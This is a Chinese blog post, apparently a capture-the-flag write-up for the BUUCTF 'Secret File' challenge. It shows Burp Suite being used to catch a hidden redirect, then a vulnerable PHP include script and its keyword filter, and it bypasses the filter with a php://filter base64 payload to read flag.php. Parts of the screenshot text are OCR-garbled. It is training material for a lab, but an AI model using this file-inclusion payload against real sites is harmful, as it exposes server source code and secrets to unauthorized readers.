BUUCTF-Secret File



<u>不想弹solo</u> 于 2021-09-06 18:40:00 发布 0 40 % 收藏 分类专栏: <u>BUUCTF-wp</u> 文章标签: <u>php</u> 版权声明:本文为博主原创文章,遵循<u>CC 4.0 BY-SA</u>版权协议,转载请附上原文出处链接和本声明。 本文链接: https://blog.csdn.net/gg 37450949/article/details/120141627 版权

BUUCTF-wp 专栏收录该内容

5篇文章0订阅 订阅专栏 Secret 意为秘密,可知我们需要在网页中寻找到隐藏的flag文件 启动环境打开靶机

$\leftarrow \rightarrow$	C ▲ 不安全 bd2	b35at-a9b7-4361-a820-i	de116ee1073b.node4.buuo	.cn:81				\$) 🔤 📲 🗢 🍺 🗧
11 应用	🞽 Gmail 🕒 YouTube	海 淘宝网 - 淘! 我喜欢	📕 网络安全 📸 百度一下, 🤅	隊知道	4 🦲 CSDN - 专业开发 🔇 大连民族大学	🖆 💭 🖄 GitHub 🛛 🚹 diagrams.net	◇ VirtOcean 你的平	大连民族大学网上	» 📙 其他书签 🗌 阅读清单
				你想知道和	客路源的秘密么 ?				
					Suctour @ clau				
					Syconer & cay				CSDN @ZTMOQ

直接查看源码,发现一个文件



打开后点击 secret 但是会直接跳转到 end.php 并且提示查阅结束,说明页面跳转过快,需要手动抓放包来查看

Burp Suite Professional v1.7.26 - Temporary Project - licensed to Lar	ry_Lau	ı - Unlim	ited by r	nxcx@	fosec.	vn –	- 🗆	×
Burp Intruder Repeater Window Help								
Target Proxy Spider Scanner Intruder Repeater Sequencer Decoder Co	mparer	Extende	er Projec	t option:	s Use	er options	Alerts	
1 ×								
Go Cancel < > Follow redirection Target: http://bd2b35af-a9b7-4361-a820-de116ee1073b.node4.buuoj.cn:81								
Request		Respo	nse					
Raw Params Headers Hex		Raw	Headers	Hex	HTML	Render		
GET /action.php HTTP/1.1 Host: bd2b35af-a9b7-4361-a820-de116ee1073b.node4.buuoj.cn:81 Upgrade-Insecure-Requests: 1 DNT: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng ,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://bd2b35af-a9b7-4361-a820-de116ee1073b.node4.buuoj.cn:81/Archive_room.php Accept-Language: zh-CN,zh;q=0.9 Cookie: UM_distinctid=17bbaa1a60971c-034abfca405c5c-c343365-1fa400-17bbaa1a60ad36 Connection: close		HTTP/1.1 Server: op Date: Mo Content-I Connectii Location: X-Powere Content-I 	302 Foun penresty n, 06 Sep Type: text/ on: close end.php d-By: PHF Length: 63 (PE html>	d 2021 10: html; cha	:24:38 (arset=U	GMT ITF-8		
2 < + > 0 match	es	?	< +	>	Type a	search te	m	0 matches
Done							CS 269 by	165 52 AAAis

经过拦截显示出隐藏 php 文件,访问后出现源码

<html></html>
<title>secret</title>
<meta charset="utf-8"/>
php</td
highlight_file(FILE);
error_reporting(0);
<pre>\$file=\$_GET['file'];</pre>
if(strstr(\$file,"/") stristr(\$file, "tp") stristr(\$file,"input") stristr(\$file,"data")){
echo "Oh no!";
exit();
}
<pre>include(\$file);</pre>
//fLag放在了fLag.php里
?>



再尝试使用 base64 形式访问

4

?file=php://filter/read=convert.base64-encode/resource=flag.php

C (9 经消息) php 反序列化漏洞_ver × 地 BUUCTF在线评测	× ③ 精磁源的秘密	× 🔄 secret	× +		• - a ×
← → C ▲ 不安全 bd2b35af-a9b7-4361-a820-	de116ee1073b.node4.buuoj.cn:81/s	ecr3t.php?file=php://filter/read=convert.ba	ise64-encode/resource=flag.php		II 🖽 🕁 📾 🔩 🗢 🌲 🥌 I
🔢 应用 🎽 Gmail 😐 YouTube 🐌 淘宝网 - 淘! 我喜欢	📙 网络安全 📸 百度一下,你就知道	竝 畔喱畔喱(*- *)つ 🔰 中国大学MOOC(墓	. 🦲 CSDN - 专业开发 🔇 大连民族大学 🌎 的G	tHub 🔣 diagrams.net 📎 VirtOcean 你的平	· 🕄 大连民族大学网上 » 📙 其他书签 🗌 阅读清单
<pre>Ghtal> Gitle/recret/fitle> Gets charset~UTF=0'> (?php highlight_file_FIE_); error_reporting(0); if(strifsfile,')' furistr(Sfile, 'tp') echo '00 no!': include(Sfile); //fiastMit_file,php ? C/that) PCFETONUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgdo</pre>	stristr(\$file, "input") stristr(\$f CA8aGVhZD4KICAgICAgICA8b\	ile, "dsta")) { /V0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgi	CAgiCAgPHRpdGxIPkZMQUc8L3RpdGxIPç	JogICAgPC9oZWFkPgoKICAgIDxib2R5I	HN0eWxIPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWI

资 查询网 iP138.com	格式化 ◆ 编码加密 ◆ 转换 ◆ 文档手册 ◆ SEO工具 ◆ 其他 ◆	
iP查询 天气预报	首页 > 程序员开发工具 > base64解码	
手机号码归属地查询	在线base64解码/编码工具	
二维码生成器	特換内容: 新聞の指定者が正常の投入になった。 新聞の目的には、 新聞のの目的には、 新聞ののの目的には、 新聞のの目的には、	
彩票开奖查询	CAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJI2Dtmb250LXNpemU6MjBweD102Xh0LWFsaW duOmNibnRicjsIPgogICAgICAgICAgICAgICAgICAgICAgICAGICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg	
体育比赛比分	ICAgICAgICAgICAGICAGICAGICAGICAGICAGCAMD03/225/W04/7mJkNVM4ZGQCDDQ4NS00/7mEDLWWY1QINDU5M1VmYzk4 YJYyfSc7CiAgICAgICAGICAGICAGCACkc2VjcmV0ID0gJ2ppQW5nX0x1eXVhbl93NG50c19hX2cxckImcmkzbmQnCiAgI CAgICAgID8+CIAgICAgICAGICAGPC9wPgogICAgPC9b2R5PgokPC30dG1sPgo=	
以太坊区块浏览器	Base64编码 Base64解码	
车辆交通违章查询	转换结果: pi 。 <? pi 。 < * ? pi 。 。 * * 我就在这里*:</td <td></td>	
品牌排行榜 汇率查询	\$fiag = 'flag(bbd5c8dd-8485-4ba4-b0a4-45915fc98b62)'; \$secret = 'jlAng_Luyuan_w4nts_a_g1rlfri3nd'	
国内国际机票查询		
国内列牛时刻衣亘间 在线翻译 中递查询		
区号香询 邮编音询		
身份证号码查询验证	• 1232036507册933册914是97年,13747于13年2011903507册933册91312年,125月14月4435011075%,间世代起。 • Base64编码要求把3个8位字节(378-24)转化为4个6位的字节(476-24),之后在6位的前面补两个0,形成8位一个字节的形式。如果剩下的字符不足3 个字节 则用内结本 给叫字须体用字。用此编取运给叫4007末主程可能会叫知1320个字	
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,	•为了保证所输出的编码位可读字符,Base64制定了一个编码表,以便进行统一转换。编码表的大小为2*6=64,这也是Base64名称的由来。	CSDN @z1moq